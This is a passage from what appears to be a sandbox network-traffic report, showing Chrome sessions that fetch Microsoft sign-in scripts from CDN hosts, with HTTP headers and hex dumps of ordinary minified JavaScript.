_Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_
2024-12-11 18:23:00 UTC	904	IN	Data Raw: 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3d 53 65 72 76 65 72 44 61 74 61 2e 63 45 3b 69 66 28 64 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 64 7d 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 64 56 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 63 2c 61 29 7b 76 61 72 20 62 3d 7b 65 72 72 6f 72 3a 64 2c 75 73 65 72 4c 69 73 74 3a 5b 5d 2c 70 6f 73 74 4c 6f 67 6f 75 74 52 65 64 69 72 65 63 74 55 72 69 56 61 6c 69 64 3a 63 7d 3b 69 66 28 61 29 62 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3d 61 3b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 2c 5f 66 33 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 4d 65 43 6f 6e 74 72 6f 6c 2e 5f 6a 51 28 61 2e 6f 72 69 67 69 6e 29 21 3d 3d 4d 65 43 6f 6e 74 72 6f 6c 2e Data Ascii: directUriValid=ServerData.cE;if(d)b.performance=d}return JSON.stringify(b)},_dV:function(d,c,a){var b={error:d,userList:[],postLogoutRedirectUriValid:c};if(a)b.performance=a;return JSON.stringify(b)},_f3:function(a){if(MeControl._jQ(a.origin)!==MeControl.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49898	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:01 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:01 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 6021607 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:23:01 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-12-11 18:23:01 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-12-11 18:23:01 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-12-11 18:23:01 UTC	16383	IN	Data Raw: 50 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 Data Ascii: PP_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"80041
2024-12-11 18:23:01 UTC	16383	IN	Data Raw: 3a 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 Data Ascii: :"UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!
2024-12-11 18:23:01 UTC	4	IN	Data Raw: 7d 2c 6f 3a Data Ascii: },o:
2024-12-11 18:23:02 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e 6f 72 Data Ascii: function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ignor
2024-12-11 18:23:02 UTC	16383	IN	Data Raw: 6d 2e 76 62 28 65 2c 72 29 2b 22 7d 7d 7d 22 3b 73 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 24 63 6f 6e 74 65 78 74 22 2c 22 24 65 6c 65 6d 65 6e 74 22 2c 75 29 2c 6f 3d 69 5b 61 5d 3d 73 7d 72 65 74 75 72 6e 20 6f 28 74 2c 6e 29 7d 63 61 74 63 68 28 63 29 7b 74 68 72 6f 77 20 63 2e 6d 65 73 73 61 67 65 3d 22 55 6e 61 62 6c 65 20 74 6f 20 70 61 72 73 65 20 62 69 6e 64 69 6e 67 73 2e 5c 6e 42 69 6e 64 69 6e 67 73 20 76 61 6c 75 65 3a 20 22 2b 65 2b 22 5c 6e 4d 65 73 73 61 67 65 3a 20 22 2b 63 2e 6d 65 73 73 61 67 65 2c 63 7d 7d 7d 29 2c 53 2e 67 61 2e 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 53 2e 67 61 2c 53 2e 62 28 22 62 69 6e 64 69 6e 67 50 72 6f 76 69 64 65 72 22 2c 53 2e 67 61 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 Data Ascii: m.vb(e,r)+"}}}";s=new Function("$context","$element",u),o=i[a]=s}return o(t,n)}catch(c){throw c.message="Unable to parse bindings.\nBindings value: "+e+"\nMessage: "+c.message,c}}}),S.ga.instance=new S.ga,S.b("bindingProvider",S.ga),function(){function e(
2024-12-11 18:23:02 UTC	16383	IN	Data Raw: 65 74 22 29 26 26 6e 2e 68 61 73 28 22 76 61 6c 75 65 22 29 2c 64 3d 6e 2e 67 65 74 28 22 6f 70 74 69 6f 6e 73 49 6e 63 6c 75 64 65 44 65 73 74 72 6f 79 65 64 22 29 3b 74 3d 7b 7d 3b 76 61 72 20 66 2c 70 3d 5b 5d 3b 6c 7c 7c 28 73 3f 70 3d 53 2e 61 2e 4d 62 28 72 28 29 2c 53 2e 77 2e 4d 29 3a 30 3c 3d 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 26 26 70 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 2e 6f 70 74 69 6f 6e 73 5b 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 29 29 2c 63 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 2e 6c 65 6e 67 74 68 26 26 28 63 3d 5b 63 5d 29 2c 66 3d 53 2e 61 2e 6a 62 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 7c 7c 65 3d 3d 3d 61 7c 7c 6e 75 6c 6c 3d 3d 3d 65 7c 7c 21 Data Ascii: et")&&n.has("value"),d=n.get("optionsIncludeDestroyed");t={};var f,p=[];l\|\|(s?p=S.a.Mb(r(),S.w.M):0<=e.selectedIndex&&p.push(S.w.M(e.options[e.selectedIndex]))),c&&("undefined"==typeof c.length&&(c=[c]),f=S.a.jb(c,(function(e){return d\|\|e===a\|\|null===e\|\|!
2024-12-11 18:23:02 UTC	16383	IN	Data Raw: 72 6e 20 69 7c 7c 28 69 3d 74 2e 74 65 78 74 28 29 7c 7c 22 22 2c 69 3d 6c 2e 74 65 6d 70 6c 61 74 65 28 6e 75 6c 6c 2c 22 7b 7b 6b 6f 5f 77 69 74 68 20 24 69 74 65 6d 2e 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 7d 7d 22 2b 69 2b 22 7b 7b 2f 6b 6f 5f 77 69 74 68 7d 7d 22 29 2c 74 2e 64 61 74 61 28 22 70 72 65 63 6f 6d 70 69 6c 65 64 22 2c 69 29 29 2c 74 3d 5b 6e 2e 24 64 61 74 61 5d 2c 6e 3d 6c 2e 65 78 74 65 6e 64 28 7b 6b 6f 42 69 6e 64 69 6e 67 43 6f 6e 74 65 78 74 3a 6e 7d 2c 72 2e 74 65 6d 70 6c 61 74 65 4f 70 74 69 6f 6e 73 29 2c 28 6e 3d 6c 2e 74 6d 70 6c 28 69 2c 74 2c 6e 29 29 2e 61 70 70 65 6e 64 54 6f 28 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2c 6c 2e 66 72 61 67 6d 65 6e 74 73 3d 7b 7d 2c 6e 7d 2c 74 68 69 Data Ascii: rn i\|\|(i=t.text()\|\|"",i=l.template(null,"{{ko_with $item.koBindingContext}}"+i+"{{/ko_with}}"),t.data("precompiled",i)),t=[n.$data],n=l.extend({koBindingContext:n},r.templateOptions),(n=l.tmpl(i,t,n)).appendTo(o.createElement("div")),l.fragments={},n},thi
2024-12-11 18:23:02 UTC	11299	IN	Data Raw: 65 2e 6e 6f 74 69 66 79 4f 6e 43 6c 69 65 6e 74 41 62 6f 72 74 7c 7c 21 31 2c 6d 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 53 61 73 45 6e 64 41 75 74 68 50 6f 73 74 54 6f 47 65 74 53 77 69 74 63 68 2c 76 3d 6c 2e 53 65 72 76 65 72 44 61 74 61 2e 66 46 69 78 55 49 43 72 61 73 68 46 6f 72 41 70 69 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3b 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 76 61 72 20 74 3d 7b 68 70 67 69 64 3a 64 2e 68 70 67 69 64 7c 7c 30 2c 68 70 67 61 63 74 3a 64 2e 68 70 67 61 63 74 7c 7c 30 7d 3b 72 65 74 75 72 6e 20 65 7c 7c 28 74 2e 41 63 63 65 70 74 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 6e 26 26 64 2e 61 70 69 43 61 6e 61 72 79 26 26 28 74 2e 63 61 6e 61 72 79 3d 64 2e 61 70 69 43 61 6e 61 72 79 29 29 2c 64 2e 63 Data Ascii: e.notifyOnClientAbort\|\|!1,m=l.ServerData.fSasEndAuthPostToGetSwitch,v=l.ServerData.fFixUICrashForApiRequestHandler;function b(e){var t={hpgid:d.hpgid\|\|0,hpgact:d.hpgact\|\|0};return e\|\|(t.Accept="application/json",n&&d.apiCanary&&(t.canary=d.apiCanary)),d.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49985	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:19 UTC	605	OUT	GET /shared/5/js/signup-fabric_en_OJFs58U2IbmTee9AgFWvyg2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:19 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 238412 Cache-Control: public, max-age=31536000 Content-MD5: e3qLuYh9inT0FY3r49umyw== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:23:19 GMT Etag: 0x8DD1553C6AB3FF6 Last-Modified: Thu, 05 Dec 2024 17:39:31 GMT Server: ECAcc (lhc/78A8) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bdb6cf32-001e-0086-06ce-499877000000 x-ms-version: 2009-09-19 Content-Length: 905221 Connection: close
2024-12-11 18:23:19 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 73 69 67 6e 75 70 2d 66 61 62 72 69 63 5f 65 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 69 3d 7b 35 31 33 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 39 35 31 29 2c 6f 3d 7b 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 64 69 73 70 6c 61 79 4e 61 6d 65 3a 21 30 2c 67 65 74 44 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 Data Ascii: /! For license information please see signup-fabric_en.js.LICENSE.txt /!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0
2024-12-11 18:23:19 UTC	1	IN	Data Raw: 61 Data Ascii: a
2024-12-11 18:23:19 UTC	16383	IN	Data Raw: 6c 6c 28 63 2c 66 2c 69 2e 70 72 6f 70 73 2c 73 29 3a 68 29 26 26 28 6d 3f 28 6d 3d 21 31 2c 66 3d 6f 28 7b 7d 2c 66 2c 68 29 29 3a 6f 28 66 2c 68 29 29 7d 63 2e 73 74 61 74 65 3d 66 7d 7d 65 6c 73 65 20 75 3d 6e 75 6c 6c 3b 69 66 28 4f 65 28 65 3d 63 2e 72 65 6e 64 65 72 28 29 2c 6c 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 28 69 3d 6c 2e 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 29 29 7b 76 61 72 20 62 3d 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 28 29 3b 66 6f 72 28 76 61 72 20 79 20 69 6e 20 62 29 69 66 28 21 28 79 20 69 6e 20 69 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 31 30 38 2c 50 28 6c 29 7c 7c 22 55 6e 6b 6e Data Ascii: ll(c,f,i.props,s):h)&&(m?(m=!1,f=o({},f,h)):o(f,h))}c.state=f}}else u=null;if(Oe(e=c.render(),l),"function"==typeof c.getChildContext&&"object"===r(i=l.childContextTypes)){var b=c.getChildContext();for(var y in b)if(!(y in i))throw Error(a(108,P(l)\|\|"Unkn
2024-12-11 18:23:19 UTC	16383	IN	Data Raw: 43 6f 6e 74 65 78 74 2e 43 6f 6e 73 75 6d 65 72 22 3b 63 61 73 65 20 6c 65 3a 72 65 74 75 72 6e 22 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 22 3b 63 61 73 65 20 75 65 3a 76 61 72 20 74 3d 65 2e 72 65 6e 64 65 72 3b 72 65 74 75 72 6e 20 74 3d 74 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 74 2e 6e 61 6d 65 7c 7c 22 22 2c 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 22 22 21 3d 3d 74 3f 22 46 6f 72 77 61 72 64 52 65 66 28 22 2b 74 2b 22 29 22 3a 22 46 6f 72 77 61 72 64 52 65 66 22 29 3b 63 61 73 65 20 66 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 74 79 70 65 29 3b 63 61 73 65 20 6d 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 72 65 6e 64 65 72 29 3b 63 61 73 65 20 67 65 3a 69 66 28 65 3d 31 3d 3d 3d 65 2e 5f 73 74 61 74 75 73 3f 65 2e 5f 72 65 73 75 6c Data Ascii: Context.Consumer";case le:return"Context.Provider";case ue:var t=e.render;return t=t.displayName\|\|t.name\|\|"",e.displayName\|\|(""!==t?"ForwardRef("+t+")":"ForwardRef");case fe:return ye(e.type);case me:return ye(e.render);case ge:if(e=1===e._status?e._resul
2024-12-11 18:23:20 UTC	16383	IN	Data Raw: 74 79 28 6e 29 29 7b 76 61 72 20 72 3d 30 3d 3d 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 2d 2d 22 29 2c 6f 3d 6f 6e 28 6e 2c 74 5b 6e 5d 2c 72 29 3b 22 66 6c 6f 61 74 22 3d 3d 3d 6e 26 26 28 6e 3d 22 63 73 73 46 6c 6f 61 74 22 29 2c 72 3f 65 2e 73 65 74 50 72 6f 70 65 72 74 79 28 6e 2c 6f 29 3a 65 5b 6e 5d 3d 6f 7d 7d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 6e 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 3d 74 2b 65 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 31 29 2c 6e 6e 5b 74 5d 3d 6e 6e 5b 65 5d 7d 29 29 7d 29 29 3b 76 61 72 20 6c 6e 3d 69 28 7b 6d 65 6e 75 69 74 65 6d 3a 21 30 7d 2c 7b 61 72 Data Ascii: ty(n)){var r=0===n.indexOf("--"),o=on(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}Object.keys(nn).forEach((function(e){rn.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),nn[t]=nn[e]}))}));var ln=i({menuitem:!0},{ar
2024-12-11 18:23:20 UTC	16383	IN	Data Raw: 6e 74 69 66 69 65 64 22 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 22 6b 65 79 70 72 65 73 73 22 3d 3d 3d 65 2e 74 79 70 65 3f 31 33 3d 3d 3d 28 65 3d 72 6f 28 65 29 29 3f 22 45 6e 74 65 72 22 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 22 6b 65 79 64 6f 77 6e 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 6b 65 79 75 70 22 3d 3d 3d 65 2e 74 79 70 65 3f 69 6f 5b 65 2e 6b 65 79 43 6f 64 65 5d 7c 7c 22 55 6e 69 64 65 6e 74 69 66 69 65 64 22 3a 22 22 7d 2c 6c 6f 63 61 74 69 6f 6e 3a 6e 75 6c 6c 2c 63 74 72 6c 4b 65 79 3a 6e 75 6c 6c 2c 73 68 69 66 74 4b 65 79 3a 6e 75 6c 6c 2c 61 6c 74 4b 65 79 3a 6e 75 6c 6c 2c 6d 65 74 61 4b 65 79 3a 6e 75 6c 6c 2c 72 65 70 65 61 74 3a 6e 75 6c 6c 2c 6c 6f 63 61 6c 65 3a 6e 75 6c 6c 2c Data Ascii: ntified"!==t)return t}return"keypress"===e.type?13===(e=ro(e))?"Enter":String.fromCharCode(e):"keydown"===e.type\|\|"keyup"===e.type?io[e.keyCode]\|\|"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,
2024-12-11 18:23:20 UTC	16383	IN	Data Raw: 3d 3d 74 2e 6d 65 6d 6f 69 7a 65 64 50 72 6f 70 73 2e 72 65 76 65 61 6c 4f 72 64 65 72 29 7b 69 66 28 30 21 3d 28 36 34 26 74 2e 65 66 66 65 63 74 54 61 67 29 29 72 65 74 75 72 6e 20 74 7d 65 6c 73 65 20 69 66 28 6e 75 6c 6c 21 3d 3d 74 2e 63 68 69 6c 64 29 7b 74 2e 63 68 69 6c 64 2e 72 65 74 75 72 6e 3d 74 2c 74 3d 74 2e 63 68 69 6c 64 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 74 3d 3d 3d 65 29 62 72 65 61 6b 3b 66 6f 72 28 3b 6e 75 6c 6c 3d 3d 3d 74 2e 73 69 62 6c 69 6e 67 3b 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 2e 72 65 74 75 72 6e 7c 7c 74 2e 72 65 74 75 72 6e 3d 3d 3d 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 3d 74 2e 72 65 74 75 72 6e 7d 74 2e 73 69 62 6c 69 6e 67 2e 72 65 74 75 72 6e 3d 74 2e 72 65 74 75 72 6e 2c 74 3d 74 2e 73 69 62 6c 69 6e 67 Data Ascii: ==t.memoizedProps.revealOrder){if(0!=(64&t.effectTag))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return\|\|t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling
2024-12-11 18:23:20 UTC	16383	IN	Data Raw: 3a 6e 3d 65 2e 74 61 69 6c 3b 66 6f 72 28 76 61 72 20 72 3d 6e 75 6c 6c 3b 6e 75 6c 6c 21 3d 3d 6e 3b 29 6e 75 6c 6c 21 3d 3d 6e 2e 61 6c 74 65 72 6e 61 74 65 26 26 28 72 3d 6e 29 2c 6e 3d 6e 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 3d 3d 3d 72 3f 74 7c 7c 6e 75 6c 6c 3d 3d 3d 65 2e 74 61 69 6c 3f 65 2e 74 61 69 6c 3d 6e 75 6c 6c 3a 65 2e 74 61 69 6c 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 3a 72 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 6c 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 70 65 6e 64 69 6e 67 50 72 6f 70 73 3b 73 77 69 74 63 68 28 74 2e 74 61 67 29 7b 63 61 73 65 20 32 3a 63 61 73 65 20 31 36 3a 63 61 73 65 20 31 35 3a 63 61 73 65 20 30 3a 63 61 73 65 20 31 31 3a 63 61 73 65 20 37 3a 63 61 73 65 20 38 3a 63 61 Data Ascii: :n=e.tail;for(var 